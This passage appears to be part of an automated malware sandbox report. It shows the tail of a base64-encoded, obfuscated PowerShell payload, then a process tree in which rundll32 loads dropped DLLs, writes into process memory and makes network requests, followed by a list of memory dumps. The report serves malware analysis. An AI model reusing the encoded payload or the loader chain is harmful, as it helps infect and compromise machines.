GsAOwAkAEcAMgB6AGoAdAByAGwAPQAoACgAJwBCADMAbgAnACsAJwAxACcAKQArACcAMQBmACcAKwAnAHMAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABDADkANABhAHcAdgBnAD0AKAAnAEkAJwArACgAJwAwAHUAJwArACcAdABhAGgAbgAnACkAKQA=
        2⤵
        • Blocklisted process makes network request
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:424
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Eycq6w4\D_douwt\Xmx4xo.dll #1
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:880
          • C:\Windows\SysWOW64\rundll32.exe
            "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Eycq6w4\D_douwt\Xmx4xo.dll #1
            4⤵
            • Loads dropped DLL
            • Drops file in System32 directory
            • Suspicious use of WriteProcessMemory
            PID:548
            • C:\Windows\SysWOW64\rundll32.exe
              C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Lnti\hqj.uwj",RunDLL
              5⤵
              • Blocklisted process makes network request
              • Suspicious behavior: EnumeratesProcesses
              PID:1612

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/424-8-0x00000000024E0000-0x00000000024E1000-memory.dmp
          Download

          memory/424-7-0x000000001B360000-0x000000001B361000-memory.dmp
          Download

          memory/424-9-0x000000001B7F0000-0x000000001B7F1000-memory.dmp
          Download

          memory/424-10-0x000000001B880000-0x000000001B881000-memory.dmp
          Download

          memory/424-4-0x000007FEF5510000-0x000007FEF5EFC000-memory.dmp
          Download

          memory/424-5-0x0000000002710000-0x0000000002711000-memory.dmp
          Download

          memory/424-6-0x000000001A980000-0x000000001A981000-memory.dmp
          Download

          memory/548-18-0x00000000001D0000-0x00000000001EF000-memory.dmp
          Download

          memory/604-21-0x000007FEF6340000-0x000007FEF65BA000-memory.dmp
          Download

          memory/1612-20-0x0000000000170000-0x000000000018F000-memory.dmp
          Download